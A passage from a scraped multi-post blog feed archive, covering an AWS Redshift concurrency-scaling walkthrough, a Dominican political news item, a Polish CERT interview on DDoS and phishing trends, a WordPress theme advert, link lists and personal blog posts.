Redshift Parameter Group for testing purposes, so I start by creating one:  Then I edit my cluster’s Workload Management Configuration, select the new parameter group, set the Concurrency Scaling Mode to auto, and click Save: I will use the Cloud Data Warehouse Benchmark Derived From TPC-DS as a source of test data and test queries. I download the DDL, customize it with my AWS credentials, and use psql to connect to my cluster and create the test data:  sample=# create database sample; CREATE DATABASE sample=# \connect sample; psql (9.2.24, server 8.0.2) WARNING: psql version 9.2, server version 8.0.          Some psql features might not work. SSL connection (cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256) You are now connected to database "sample" as user "awsuser". sample=# \i ddl.sql The DDL creates the tables and loads populates them using data stored in an S3 bucket:  sample=# \dt                  List of relations  schema |          name          | type  |  owner --------+------------------------+-------+---------  public | call_center            | table | awsuser  public | catalog_page           | table | awsuser  public | catalog_returns        | table | awsuser  public | catalog_sales          | table | awsuser  public | customer               | table | awsuser  public | customer_address       | table | awsuser  public | customer_demographics  | table | awsuser  public | date_dim               | table | awsuser  public | dbgen_version          | table | awsuser  public | household_demographics | table | awsuser  public | income_band            | table | awsuser  public | inventory              | table | awsuser  public | item                   | table | awsuser  public | promotion              | table | awsuser  public | reason                 | table | awsuser  public | ship_mode              | table | awsuser  public | store                  | table | awsuser  public | store_returns          | table | awsuser  public | store_sales            | table | awsuser  public | time_dim               | table | awsuser  public | warehouse              | table | awsuser  public | web_page               | table | awsuser  public | web_returns            | table | awsuser  public | web_sales              | table | awsuser  public | web_site               | table | awsuser (25 rows)  Then I download the queries and open up a bunch of PuTTY windows so that I can generate a meaningful load for my Redshift cluster:  I run an initial set of parallel queries, and then ramp up over time, I can see them in the Cluster Performance tab for my cluster:  I can see the additional processing power come online as needed, and then go away when no longer needed, in the Database Performance tab:  As you can see, my cluster scales as needed in order to handle all of the queries as expeditiously as possible. The Concurrency Scaling Usage shows me how many seconds of additional processing power I have consumed (as I noted earlier, each cluster accumulates a full hour of concurrency credits every 24 hours). I can use the parameter max_concurrency_scaling_clusters to control the number of Concurrency Scaling Clusters that can be used (the default limit is 10, but you can request an increase if you need more). Available Today You can start making use of Concurrency Scaling Clusters today in the US East (N. Virginia), US East (Ohio), US West (Oregon), Europe (Ireland), and Asia Pacific (Tokyo) Regions today, with more to come later this year. — Jeff;       from AWS News Blog https://ift.tt/2uxk9TH via IFTTT</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://aws.amazon.com/redshift</link><link>https://aws.amazon.com/redshift</link><link>https://aws.amazon.com/solutions/case-studies/ntt-docomo-redshift</link><link>https://aws.amazon.com/solutions/case-studies/finra</link><link>https://aws.amazon.com/solutions/case-studies/johnson-and-johnson</link><link>https://docs.aws.amazon.com/redshift/latest/dg/concurrency-scaling.html</link><link>https://www.github.com/awslabs/amazon-redshift-utils/tree/master/src/CloudDataWarehouseBenchmark/Cloud-DWB-Derived-from-TPCDS</link><link>https://www.github.com/awslabs/amazon-redshift-utils/blob/master/src/CloudDataWarehouseBenchmark/Cloud-DWB-Derived-from-TPCDS/3TB/ddl.sql</link><link>https://www.postgresql.org/docs/9.3/app-psql.html</link><link>https://www.github.com/awslabs/amazon-redshift-utils/tree/master/src/CloudDataWarehouseBenchmark/Cloud-DWB-Derived-from-TPCDS/3TB/queries</link><link>https://www.twitter.com/jeffbarr</link><link>http://feeds.feedburner.com/~ff/AmazonWebServicesBlog?a=2O5iLxVrzc4:edyFaIDjTFQ:yIl2AUoC8zA</link><link>http://feeds.feedburner.com/~ff/AmazonWebServicesBlog?a=2O5iLxVrzc4:edyFaIDjTFQ:dnMXMwOfBR0</link><link>http://feeds.feedburner.com/~ff/AmazonWebServicesBlog?a=2O5iLxVrzc4:edyFaIDjTFQ:7Q72WNTAKBA</link><link>https://www.ifttt.com/?ref=da&amp;site=blogger</link></links><tags><tag>AWS News Blog</tag><tag>IFTTT</tag></tags><images /><indexedAt>2019-03-27T17:59:19Z</indexedAt><publishedAt>2019-03-27T17:35:00Z</publishedAt><reindexedAt>2019-03-27T17:59:19Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>5030937969431412293</blogId><blogName>Internet of Things, Wearable, Sensor and Data Technologies</blogName><blogUrl>https://netofeverything.blogspot.com/</blogUrl><blogRank>1</blogRank><authority>1</authority></post><post><id>14618877821299649203</id><author>La Voz Digital de Barahona</author><url>https://lavozdigitaldebarahona.blogspot.com/2019/03/aspirante-la-presidencia-dominguez.html</url><title>Aspirante a la Presidencia Domínguez Brito acusa a leonelistas de crear situación de agresividad en PLD; advierte que “una acción trae una reacción”</title><text>Santo Domingo. – El precandidato presidencial por el Partido de la Liberación Dominicana (PLD), Francisco Domínguez Brito, hizo un llamado al equipo del también del también precandidato a la Presidencia Leonel Fernández, ante la situación “enojosa” y de mucha “agresividad” que ha creado a lo interno del PLD, al tiempo que advirtió que “una acción trae una reacción”. “Pienso que el equipo del ex presidente Fernández ha creado una situación bastante enojosa y mucha agresividad”, expresó Domínguez Brito en una entrevista en el programa televisivo Uno + Uno.Dijo que a raíz de la publicación de un video donde él quema una gorra del PLD para simbolizar que hay que quemar lo malo en ese partido y dejar lo bueno, el sector que más se sintió aludido fue el de Fernández, y los acusa de crear una “guerrilla en las redes” y de empezar una campaña contra él.“No mencioné ningún tipo de nombre, yo sí he mencionado nombres cuando hablo de los Tucanos, cuando pedí la destitución del secretario de finanzas y del secretario de organización, porque no era justo que quien manejara los fondos del partido este acusado de lavado de dinero”, puntualizó Brito, ante las reacciones de los leonelistas por el video que publicó quemando una gorra del partido.Añadió que el momento político e institucional que enfrenta el país no es para voltear la cara, sino de enfrentar los problemas y de buscar soluciones.Indicó que no están en una campaña de reelección del presidente Medina, sino en una de apoyo a su gestión de Gobierno.          </text><languageCode>es</languageCode><locationCode>es</locationCode><coordinates /><links><link>https://www.sincortapisa.com/wp-content/uploads/2019/03/francisco-dominguez-720x445.jpg</link><link>https://www.facebook.com/sharer.php?u=https:%2F%2Fwww.sincortapisa.com%2Faspirante-a-la-presidencia-dominguez-brito-acusa-a-leonelistas-de-crear-situacion-de-agresividad-en-pld-advierte-que-una-accion-trae-una-reaccion%2F</link><link>https://www.twitter.com/share?url=https:%2F%2Fwww.sincortapisa.com%2Faspirante-a-la-presidencia-dominguez-brito-acusa-a-leonelistas-de-crear-situacion-de-agresividad-en-pld-advierte-que-una-accion-trae-una-reaccion%2F&amp;text=Acabo de ver Aspirante a la Presidencia Domínguez Brito acusa a leonelistas de crear situación de agresividad en PLD%3B advierte que “una acción trae una reacción” - Haga clic ver también ☛</link><link>https://plus.google.com/share?url=https:%2F%2Fwww.sincortapisa.com%2Faspirante-a-la-presidencia-dominguez-brito-acusa-a-leonelistas-de-crear-situacion-de-agresividad-en-pld-advierte-que-una-accion-trae-una-reaccion%2F</link><link>https://web.whatsapp.com/send?text=Aspirante a la Presidencia Domínguez Brito acusa a leonelistas de crear situación de agresividad en PLD%3B advierte que “una acción trae una reacción” ☛ https:%2F%2Fwww.sincortapisa.com%2Faspirante-a-la-presidencia-dominguez-brito-acusa-a-leonelistas-de-crear-situacion-de-agresividad-en-pld-advierte-que-una-accion-trae-una-reaccion%2F</link><link>https://mail.google.com/mail/u/0/?view=cm&amp;fs=1&amp;su=Aspirante a la Presidencia Domínguez Brito acusa a leonelistas de crear situación de agresividad en PLD%3B advierte que “una acción trae una reacción”&amp;body=https:%2F%2Fwww.sincortapisa.com%2Faspirante-a-la-presidencia-dominguez-brito-acusa-a-leonelistas-de-crear-situacion-de-agresividad-en-pld-advierte-que-una-accion-trae-una-reaccion%2F%0A%0AAspirante a la Presidencia Domínguez Brito acusa a leonelistas de crear situación de agresividad en PLD%3B advierte que “una acción trae una reacción”%0A%0ASanto Domingo. - El precandidato presidencial por el Partido de la Liberación Dominicana (PLD)%2C Francisco Domínguez Brito%2C hizo un llamado al equipo del también del también precandidato a la Presidencia Leonel Fernández%2C ante la situación “enojosa” y de mucha “agresividad” que ha creado a lo interno del PLD%2C al tiempo que advirtió que “una acción trae una reacción".%0D%0A%0D%0A“Pienso que el equipo del ex presidente Fernández ha creado una situación bastante enojosa y mucha agresividad”%2C expresó Domínguez Brito en una entrevista en el programa televisivo Uno %2B Uno.%0D%0A%0D%0ADijo que a raíz de la publicación de un video donde él quema una gorra del PLD para simbolizar que hay que quemar lo malo en ese partido y dejar lo bueno%2C el sector que más se sintió aludido fue el de Fernández%2C y los acusa de crear una “guerrilla en las redes” y de empezar una campaña contra él.%0D%0A%0D%0A“No mencioné ningún tipo de nombre%2C yo sí he mencionado nombres cuando hablo de los Tucanos%2C cuando pedí la destitución del secretario de finanzas y del secretario de organización%2C porque no era justo que quien manejara los fondos del partido este acusado de lavado de dinero”%2C puntualizó Brito%2C ante las reacciones de los leonelistas por el video que publicó quemando una gorra del partido.%0D%0A%0D%0AAñadió que el momento político e institucional que enfrenta el país no es para voltear la cara%2C sino de enfrentar los problemas y de buscar soluciones.%0D%0A%0D%0AIndicó que no están en una campaña de reelección del presidente Medina%2C sino en una de apoyo a su gestión de Gobierno.%0A&amp;tf=1</link><link>https://www.printfriendly.com/print?url=https:%2F%2Fwww.sincortapisa.com%2Faspirante-a-la-presidencia-dominguez-brito-acusa-a-leonelistas-de-crear-situacion-de-agresividad-en-pld-advierte-que-una-accion-trae-una-reaccion%2F</link><link>https://web.skype.com/share?url=https:%2F%2Fwww.sincortapisa.com%2Faspirante-a-la-presidencia-dominguez-brito-acusa-a-leonelistas-de-crear-situacion-de-agresividad-en-pld-advierte-que-una-accion-trae-una-reaccion%2F&amp;text=Aspirante a la Presidencia Domínguez Brito acusa a leonelistas de crear situación de agresividad en PLD%3B advierte que “una acción trae una reacción”</link><link>https://victorfreitas.github.io/wpupper-share-buttons/?href=https:%2F%2Fwww.sincortapisa.com%2Faspirante-a-la-presidencia-dominguez-brito-acusa-a-leonelistas-de-crear-situacion-de-agresividad-en-pld-advierte-que-una-accion-trae-una-reaccion%2F</link><link>https://www.facebook.com/dialog/send?app_id=140586622674265&amp;link=https:%2F%2Fwww.sincortapisa.com%2Faspirante-a-la-presidencia-dominguez-brito-acusa-a-leonelistas-de-crear-situacion-de-agresividad-en-pld-advierte-que-una-accion-trae-una-reaccion%2F&amp;redirect_uri=https:%2F%2Fwww.sincortapisa.com%2Faspirante-a-la-presidencia-dominguez-brito-acusa-a-leonelistas-de-crear-situacion-de-agresividad-en-pld-advierte-que-una-accion-trae-una-reaccion%2F</link><link>https://www.blogger.com/null</link></links><tags /><images /><indexedAt>2019-03-27T18:10:58Z</indexedAt><publishedAt>2019-03-27T17:35:00Z</publishedAt><reindexedAt>2019-03-27T18:10:58Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>8176893833651224862</blogId><blogName>LA VOZ DIGITAL DE BARAHONA</blogName><blogUrl>https://lavozdigitaldebarahona.blogspot.com/</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>14669646827229954847</id><author>weixin_34159110</author><url>https://blog.csdn.net/weixin_34159110/article/details/88026688</url><title>[原]『高级篇』docker之DockerSwarm微服务部署（30）</title><text>原创文章，欢迎转载。转载请注明：转载自IT人故事会，谢谢！
原文链接地址：『高级篇』docker之DockerSwarm微服务部署（30）如果我想通过域名访问怎么办，而且这三台主机都有服务。源码：github.com/limingios/m… swarm分支





负载均衡之前讲理论的时候说过负载均衡，对每个服务在每台主机上都是有负载均衡的，来进行轮询，每台主机server01，server0...                    
                        作者：weixin_34159110 发表于 2019/02/15 16:33:25 原文链接 https://blog.csdn.net/weixin_34159110/article/details/88026688                    
                    
                        阅读：0</text><languageCode>zh</languageCode><locationCode /><coordinates /><links /><tags /><images /><indexedAt>2019-03-27T17:33:16Z</indexedAt><publishedAt>2019-03-27T17:33:16Z</publishedAt><reindexedAt>2019-03-27T17:33:16Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>14943987239644651590</blogId><blogName>weixin_34159110的博客</blogName><blogUrl>https://blog.csdn.net/weixin_34159110</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>14522365687833784431</id><author>noreply@blogger.com (Xiaomist)</author><url>https://www.xiaomist.com/2019/03/polish-hackers-are-creative-fortunately.html</url><title>Polish hackers are creative. Fortunately, we also have our defenders on the net</title><text>On the creativity of Polish hackers, the biggest attacks of 2018 and the protection served by Cyber-Shield - I am talking with the head of CERT Orange Polska.   CERT (Computer Emergency Response Team) deals with the security of Internet users using Orange services. It is a special unit that performs pentesty, tests security solutions and services for users and analyzes online threats. Recently, it also released the next, 5th report on the most serious incidents in the network . It was in his context that I talked with an Orange security officer.   Karol Kopańko, Spider's Web: What in your opinion was the most important or most acute attack of last year?   Robert Grabowski, Head of CERT Orange Polska: Impressed by the giant DDoS attacks, which led, for example, to stop Github for 10 minutes. The attack power, which exceeded 1 terabit (Tb / s) per second, is astonishing.   How did it happen that even the service belonging to Microsoft surrendered to the attack?   The method of multiplication has been used here. In such an attack, the cybercriminal pretends to be the victim's address and sends a small query to the server, which in response has to send him a much larger message.   I understand that such attacks are not new, but it is problematic that they become more and more powerful.   Exactly. We also have very severe attacks of a different type. We even informed about the dangers associated with video recorders or mobile routers with sim cards. After taking control of the device, the criminals used it to send SMSes to foreign numbers.   As I can guess, they derived financial benefits from it.   They earned SMS termination. The method of their operation can be summarized as follows: they registered a thousand numbers with an operator, and later, they sent 100,000 to them. SMSs from captured video recorders. The operator then charges a fee and gives offenders 1/5 of revenues. Hackers earn so at the expense of honest customers.   How to protect yourself against such an attack?   This particular one was so specific that it concerned, among others Dlink DWR-921 router, which is no longer supported by the manufacturer. So we could not send our customers back to patch patching the hole. This one was quite serious because it gave the hacker access to the administration panel.   So there was no choice but to contact the endangered clients directly, inform them about the situation and instructed to replace the device with the newer model.   How did you realize that the gap is in this place?   It was a combined action with the department dealing with telecommunications frauds. We got a clue from them that something suspicious is happening here. Soon after, complaints came to us. After the first alert, we began tracking the attackers. We began to track their attacks, because they used the same architecture to attack our clients.   Did you manage to find?   Unfortunately not. They masked their addresses, attacking from devices they took over. We tried to block them all the time, but it was a kind of race. We block them with five addresses, and they find five new ones at the same time.   And this is the day-to-day reality in CERT - the arms race with criminals?   You can say that our work is at the meeting point of being an analyst, white hat and threat hunter. It happens that we issue lures for criminals (honeypots), i.e. unprotected devices. We follow how the infection develops and what techniques are used by criminals to later prevent them from infecting users' devices.   Do you see any trends in their behavior based on your experience in tracking offenders?   Based on recent Polish phishing campaigns, we can see that specialized groups are created that deal with criminal activity. On the one hand, they can use databases of real users that leak eg from stores. They are used to enrich the e-mail in a personalized message.   On the other hand, in the darknet, they can obtain phishing software and collect confidential information along with manual and vendor support.   So criminals benefit from such failures as leaking from morele.net and buy plug and play software. It sounds very simple.   Because the hardest part is still ahead of them. The cybercriminal takes on a psychologist who predicts where to attack - who to administer and how to manipulate the recipient.   We are currently witnessing very narrowly targeted attacks related to the Otomoto service. In this case, the offenders follow the inserting ads and send them information that they should pay extra to extend the offer.   I can understand why some people get caught up in it. They get a nice SMS signed by OTOMOTO.   Meanwhile, such "friendly senders" can be easily bought. Absolutely, they should not be used in the minds of customers to identify one or another service. In the Orange network, we are blocking such fraud messages - recently, for example, a criminal who signed up with MediaM [several random numbers] and wrote about the awards from fake Media Markt lotteries. ( more about this case on the CERT website ).   From what I see, the attacks are divided into two types: either someone chooses a broad shipment like a Nigerian prince, or uses available databases and hits very narrowly.   Full agreement. That is why letters with threats published in the United States or Israel are of little use to us, because attacks from our country often do not go abroad. Polish criminals are very creative and often come up with attacks that we later observe in neighboring countries.   And the current year - what will bring us?   Perhaps we will find out about the leaks that took place in 2018. Phishing campaigns will definitely not stop there, there will be new vulnerabilities in websites and attacks with the use of malware.   Fortunately, the Polish market is quite developed when it comes to Internet security. I do not mean only CERT, which by default protects Orange customers, but also even the banking sector with two-factor authentication or awareness campaigns about hackers. Despite this, we must be vigilant and keep common sense because it can not save us much if all our "secrets" are served on websites substituted by criminals.   We inform you on our CERT Orange Polska portal about all phishing campaigns and other threats we detect.   * The material was created in cooperation with the Orange brand.     Polish hackers are creative. Fortunately, we also have our defenders on the net  https://www.xiaomist.com</text><languageCode>en</languageCode><locationCode>jp</locationCode><coordinates /><links /><tags /><images /><indexedAt>2019-03-27T18:31:21Z</indexedAt><publishedAt>2019-03-27T17:31:24Z</publishedAt><reindexedAt>2019-03-27T18:31:21Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>5453154283574877862</blogId><blogName>xiaomist</blogName><blogUrl>https://www.xiaomist.com/</blogUrl><blogRank>1</blogRank><authority>4</authority></post><post><id>10341407239655464846</id><author>admin</author><url>https://imsources.com/textual-a-text-centric-wordpress-blog-theme/</url><title>Textual – A Text-Centric WordPress Blog Theme</title><text>LIVE PREVIEWBUY FOR $45 
 
Don’t forget to follow us  
I know what you’re thinking, text-centric… brilliant that means this website is fast to load and straight to the point. 
Well yes, you’re right. We’ve made Textual super-duper quick to load in its raw form. So if you want to chuck a load of plugins at it, the base theme itself is still going to perform very well for you. 
Don’t worry though, you can still add images, we’re not crazy! 
Let’s dig deeper into what you get with Textual. 
Quick loading fonts
The theme loads standard system fonts by default, which means no external CSS is being loaded from Google or Typekit. This doesn’t mean that Textual won’t work with web fonts. Oh no! we’re not silly, we know people love web fonts which is why the theme is fully compatible with these two lovely plugins. We’ve even used 2 Google web fonts in the demo. 
Easy Google Fonts
Using the fantastic and free Google Fonts plugin for WordPress you can add any Google fonts. We’ve even integrated a bespoke options panel to get you up and running quickly complete with font choices that we recommend would work well with the typography of the theme. Just read our extensive theme documentation for all of the details. 
Typekit for WordPress
Using the wonderful free Typekit plugin for WordPress you can add any Typekit fonts. You do need a Typekit account to do this. We’ve also provided font choices that we recommend would work well with the typography of the theme. Just read our extensive support documentation for all of the details. 
Loads of Sidebars and Widget Areas
We’ve got 7 widget areas in the theme, you have different sidebars for your home and archive pages, your single posts and your standard pages. 
We’ve also got header and footer widget areas that count your widgets and lay them out in columns according to how many widgets you’ve added. 
This means if you just add one widget to the header widget area (which appears just below the header and just before the content) if will center itself, perfect for web adverts! 
We’ve even got 2 bespoke widgets for displaying your social icons (check out the header and footer and sidebar for these) and our MeanThemes About You to upload an image of you’re beautiful face complete with a mini biography area. 
Post format support
We support all of the post formats, yes every Post Format is supported. Check out the rest of the posts on this demo to see them in action. 
Gutenberg support
We’ve recently added full Gutenberg support. Creating content is now even better! 
Custom blocks are coming soon… Grab your copy before price increase  
Featured image control
By default all of these are disabled across the theme (aside from the gallery post format because why would you load a gallery if you didn’t want it to display). This includes the related posts box too. You can either turn these back on for posts that look like this. 
Customizing Textual
We’ve added in a bunch of useful options, but not too many. You’ve got full control over fonts, colours, showing and hiding stuff, positioning header socials.  
So what are you waiting for?
If Textual is your cup of tea, why not Pick up a copy 
Full feature list

NEW! Gutenberg Editor / WordPress 5.x support
All post formats supported
Show/Hide Featured image globally or per post/page
Show/Hide featured image on related posts block
Position social header widget for mobile and desktop
Position mobile menu icon
Show/hide back to top
Show/hide related blog items
Show/hide plain text logo
Hide all comments
Enable comments on pages
Auto excerpt for blog
Set word length for auto excerpt on blog
Turn sidebar on/off globally or on posts, pages, home and categories/tag
Turn line-through hover off
Custom CSS Block
Custom Text control
Show/hide tagline
Control all font sizes
Enhanced Author biographies
Fully responsive design
Built mobile first
All templates are HTML5 compliant
Child theme supplied
Full control of colours
Minified JavaScript files for increased performance, we provide un-compressed versions of the 2 core files if you want to tweak functionality.
Show/hide plain text logo
MeanThemes Social Widget built-in via MeanThemes Tools plugin
MeanThemes “About You” Widget built-in via MeanThemes Tools plugin
Sharing on/off on posts
Share via twitter including your username
Change footer credit, logo text, logo alt all from Theme Customizer
MeanThemes Tools plugin included
Logo upload
Retina logo upload
Apple touch icon upload
Favicon upload
Contact 7 Form support and styling built-in
Localisation support with provided .mo and .po files
Custom Menu
Featured image support
Shortcodes for columns and buttons, toggles and tabs
Shortcodes for social icons including: Twitter, App.net, Facebook, Linked In, Google+, Zerply, Vimeo, YouTube, Pinterest, Dribbble, Github, Instagram, Flickr, Behance, Mixcloud, Soundcloud, Good reads, RSS
Shortcode for quotes including quote source and ratings
Shortcode dropdown straight from the content editor
Fully responsive (optimised for iPad and iPhone with retina graphics)
Extensive documentation

Textual Changelog
Click here for the Textual Changelog 
 
Source 





    
        
            Get new sources before they are posted here!
        
            
            
                Subscribe to the IMSources.com Insiders Group and get access to content before it's posted on this website! Also, get exclusive offers! Stay ahead of your competition!            
            
                	
                
                Let's Go!</text><languageCode>en</languageCode><locationCode>in</locationCode><coordinates /><links><link>https://www.themeforest.net/item/textual-a-textcentric-wordpress-blog-theme/full_screen_preview/11630122?ref=jayoverhol</link><link>https://www.themeforest.net/item/textual-a-textcentric-wordpress-blog-theme/11630122?ref=jayoverhol</link><link>https://www.themeforest.net/user/meanthemes/follow</link><link>https://codex.wordpress.org/Post_Formats</link><link>http://textual.mtdemo.wpengine.com/textual/2015/05/22/you-can-override-the-hidden-featured-image-option</link><link>http://update.meanthemes.com/changelog/textual/update.html</link><link>https://www.themeforest.net/item/textual-a-textcentric-wordpress-blog-theme/11630122?ref=jayoverhol</link></links><tags><tag>Wordpress Themes</tag><tag>author</tag><tag>Blog</tag><tag>Fast</tag><tag>meanthemes</tag><tag>minimal</tag><tag>modern</tag><tag>monospace</tag><tag>personal</tag><tag>Text</tag><tag>text based</tag><tag>text-centric</tag><tag>TextCentric</tag><tag>Textual</tag><tag>Theme</tag><tag>typography</tag><tag>WordPress</tag><tag>wordpress themes</tag><tag>writing</tag></tags><images /><indexedAt>2019-03-27T18:22:15Z</indexedAt><publishedAt>2019-03-27T17:22:35Z</publishedAt><reindexedAt>2019-03-27T18:22:15Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>11898655711820028983</blogId><blogName>https://imsources.com/feed/</blogName><blogUrl>https://imsources.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>3908425421419579216</id><author>ajlopez</author><url>https://ajlopez.wordpress.com/2019/03/27/blockchain-links-and-resources-349/</url><title>Blockchain: Links And Resources (349)</title><text>Previous Post 
Solidity Optimizer and ABIEncoderV2 Bug Announcement 
https://blog.ethereum.org/2019/03/26/solidity-optimizer-and-abiencoderv2-bug/ 
Bitcoin Optech Newsletter #39 
https://bitcoinops.org/en/newsletters/2019/03/26/ 
Quantum Computing — Can Blockchain be Hacked? 
https://hackernoon.com/quantum-computing-can-blockchain-be-hacked-19c2ec7bac85 
Blockchain-based Machine Learning Marketplaces 
https://medium.com/@FEhrsam/blockchain-based-machine-learning-marketplaces-cb2d4dae2c17 
Lightning Labs Loop Architecture 
https://github.com/lightninglabs/loop/blob/master/docs/architecture.md 
A Bitcoin Lightning Web Standard, Inspired By Ethereum, Is Gaining Steam 
https://www.coindesk.com/a-bitcoin-lightning-web-standard-inspired-by-ethereum-is-gaining-steam 
Spec and client library for WebLN apps and providers 
https://github.com/wbobeirne/webln 
How To Make Dumb Bets on Augur 
https://medium.com/s/cointalk/coin-talk-36-how-to-make-dumb-bets-on-augur-w-ledgerstatus-d38d7db33d8f 
Angel “Java” Lopez 
https://github.com/ajlopez 
http://www.ajlopez.com 
http://twitter.com/ajlopez</text><languageCode>en</languageCode><locationCode>de</locationCode><coordinates /><links><link>https://blog.ethereum.org/2019/03/26/solidity-optimizer-and-abiencoderv2-bug</link><link>https://www.bitcoinops.org/en/newsletters/2019/03/26</link><link>https://www.hackernoon.com/quantum-computing-can-blockchain-be-hacked-19c2ec7bac85</link><link>https://www.medium.com/@FEhrsam/blockchain-based-machine-learning-marketplaces-cb2d4dae2c17</link><link>https://www.github.com/lightninglabs/loop/blob/master/docs/architecture.md</link><link>https://www.coindesk.com/a-bitcoin-lightning-web-standard-inspired-by-ethereum-is-gaining-steam</link><link>https://www.github.com/wbobeirne/webln</link><link>https://www.medium.com/s/cointalk/coin-talk-36-how-to-make-dumb-bets-on-augur-w-ledgerstatus-d38d7db33d8f</link><link>https://www.github.com/ajlopez</link><link>http://www.ajlopez.com/</link><link>http://www.twitter.com/ajlopez</link></links><tags><tag>Bitcoin</tag><tag>Blockchain</tag><tag>Ethereum</tag><tag>Links</tag></tags><images /><indexedAt>2019-03-27T17:19:18Z</indexedAt><publishedAt>2019-03-27T17:17:55Z</publishedAt><reindexedAt>2019-03-27T17:19:18Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>6535169452235398403</blogId><blogName>Angel \”Java\” Lopez on Blog</blogName><blogUrl>https://ajlopez.wordpress.com</blogUrl><blogRank>1</blogRank><authority>7</authority></post><post><id>1622609437551259965</id><author>joshglasson</author><url>https://joshlearningto.code.blog/2019/03/27/day-18-at-makers-academy/</url><title>Day 18 at Makers Academy</title><text>Forwarding and Dependency Injection 



This morning we had a workshop on Forwarding, which it turns out is the same as Delegation which I covered yesterday. The task we were given was a little tougher though so I still tried to complete it. At first I got myself all confused, and nothing was working. I think it was because we were given some code to start with, some tests we couldn’t change, and some old non cohesive code to base it on. I wasn’t sure how much to change and how much to leave as it was. I decided I was in too much of a mess, so started again. It didn’t take long after that to get it working as intended! Looking at the solution file, mine was fairly close, there was some more forwarding and refactoring I could have done, but it was mostly the same. 



I am happy with the idea of Forwarding, and I am fairly confident in the implementation of it (mostly), but I would like to get more of a handle on how to test it properly, which is the topic of tomorrows workshop. I know you need to use doubles, and stub methods, but I am not sure of the best way to do it. 



I went to start on Oyster Cards again, however the challenge I am on relied heavily on dependency injection, which we have not covered yet. So instead I started a practical focussed on that topic! 



Here is my finished repo for the practical. To be honest I found it quite difficult, and I wouldn’t say I am overly confident on it now, but I did manage to complete it on my own with no help from coaches or google, which I am happy about. Basically it was about writing code that depends on variables or methods injected from other classes, and then writing tests for that code, where it is unaffected by changes to the classes. So you have to use Doubles to set variables to ensure that only the class in question is really being tested. The idea is that if a class breaks, it shouldn’t break all the tests for other classes that rely on it. Those classes have their own tests to make sure they work, they should be able to assume the class they rely on will work every time. Adding doubles into tests means that even if you were to delete everything in that class, your tests would still work! See below an example: 



As you hopefully can see, my SayHelloToMyLittleFriend test still passes, even though I have commented out the contents of the other two classes it relies on



 My song of the day is an old favourite of mine. 



One of the first albums I ever bought</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://www.github.com/JoshGlasson/Dependency-Injection</link></links><tags><tag>makers academy</tag><tag>apprentice</tag><tag>apprentices</tag><tag>apprenticeship</tag><tag>makers</tag><tag>software</tag><tag>software dev</tag><tag>software developer</tag></tags><images /><indexedAt>2019-03-27T17:17:03Z</indexedAt><publishedAt>2019-03-27T17:16:23Z</publishedAt><reindexedAt>2019-03-27T17:17:03Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>3435786769922683954</blogId><blogName>Josh's Blog</blogName><blogUrl>https://joshlearningto.code.blog</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>16198550293384018559</id><author /><url>http://boston.conman.org/2019/03/25.2</url><title>“Woe unto all who reveal the Secrets contained herein for they shall be Hunted unto the Ends of the Universe”</title><text>This is a document I wrote in early 1984 at the behest of the
	System Development Foundation as part of Xanadu’s quest for funding. 
	It is a detailed explanation of the Xanadu architecture, its core
	data structures, and the theory that underlies those data
	structures, along with a (really quite laughable) project plan for
	completing the system.

	At the time, we regarded all the internal details of how Xanadu
	worked as deep and dark trade secrets, mostly because in that pre-
	open source era we were stupid about intellectual property.  As a
	consequence of this foolish secretive stance, it was never widely
	circulated and subsequently disappeared into the archives,
	apparently lost for all time.  Until today!

	Via Lobsters,
	Habitat Chronicles:   A Lost Treasure of Xanadu



It is the Xanadu concept of tumblers that is core to how mod_blog works,
although more in idea than in actual implementation detail.
And the web in general has a limited form of transclusion which is pretty much just images
(still and moving)
and sound.
A general version of transclusion would probably be very difficult
(if not outright impossible)
to implement.
But there are still concepts that Xanadu has that are still hard to understand,
and I'm hoping the document mentioned above is enough to shed some light on some of the more esoteric concepts of Xanadu.
I don't think we'll ever see a fully blown Xanadu system ever,
but there are still ideas lurking in it that deserve some investigation.</text><languageCode>en</languageCode><locationCode>gr</locationCode><coordinates /><links><link>https://www.lobste.rs/s/guj7mc/lost_treasure_xanadu</link><link>http://www.habitatchronicles.com/2019/03/a-lost-treasure-of-xanadu</link><link>http://www.xanadu.com/</link><link>https://www.github.com/spc476/mod_blog</link></links><tags><tag>Xanadu</tag><tag>the curse of Xanadu</tag></tags><images /><indexedAt>2019-03-27T17:14:21Z</indexedAt><publishedAt>2019-03-27T17:14:21Z</publishedAt><reindexedAt>2019-03-27T17:14:21Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>12317851752974928507</blogId><blogName>The Boston Diaries</blogName><blogUrl>http://boston.conman.org</blogUrl><blogRank>2</blogRank><authority>33</authority></post><post><id>11520061022010744758</id><author>darkness447</author><url>https://darkness447faves.wordpress.com/2019/03/27/doukyonin-wa-hiza-tokidoki-atama-no-ue-episode-12-discussion-final/</url><title>Doukyonin wa Hiza, Tokidoki, Atama no Ue. – Episode 12 discussion – FINAL</title><text>Doukyonin wa Hiza, Tokidoki, Atama no Ue., episode 12: You and IAlternative names: My Roommate is a CatRate this episode here.StreamsCrunchyrollShow informationMyAnimeListAniListAniDBOfficial WebsitePrevious discussionsEpisodeLinkScore1Link8.552Link8.833Link9.34Link9.155Link9.286Link9.167Link9.048Link8.99Link9.4310Link9.3211Link9.42This post was created by a bot. Message the mod team for feedback and comments. The original source code can be found on GitHub. via /r/anime https://ift.tt/2YqyXBz</text><languageCode>en</languageCode><locationCode>br</locationCode><coordinates /><links><link>https://www.ift.tt/2YqyXBz</link></links><tags><tag>Anime</tag><tag>japan</tag><tag>Manga</tag><tag>IFTTT</tag><tag>manga</tag><tag>reddit</tag></tags><images 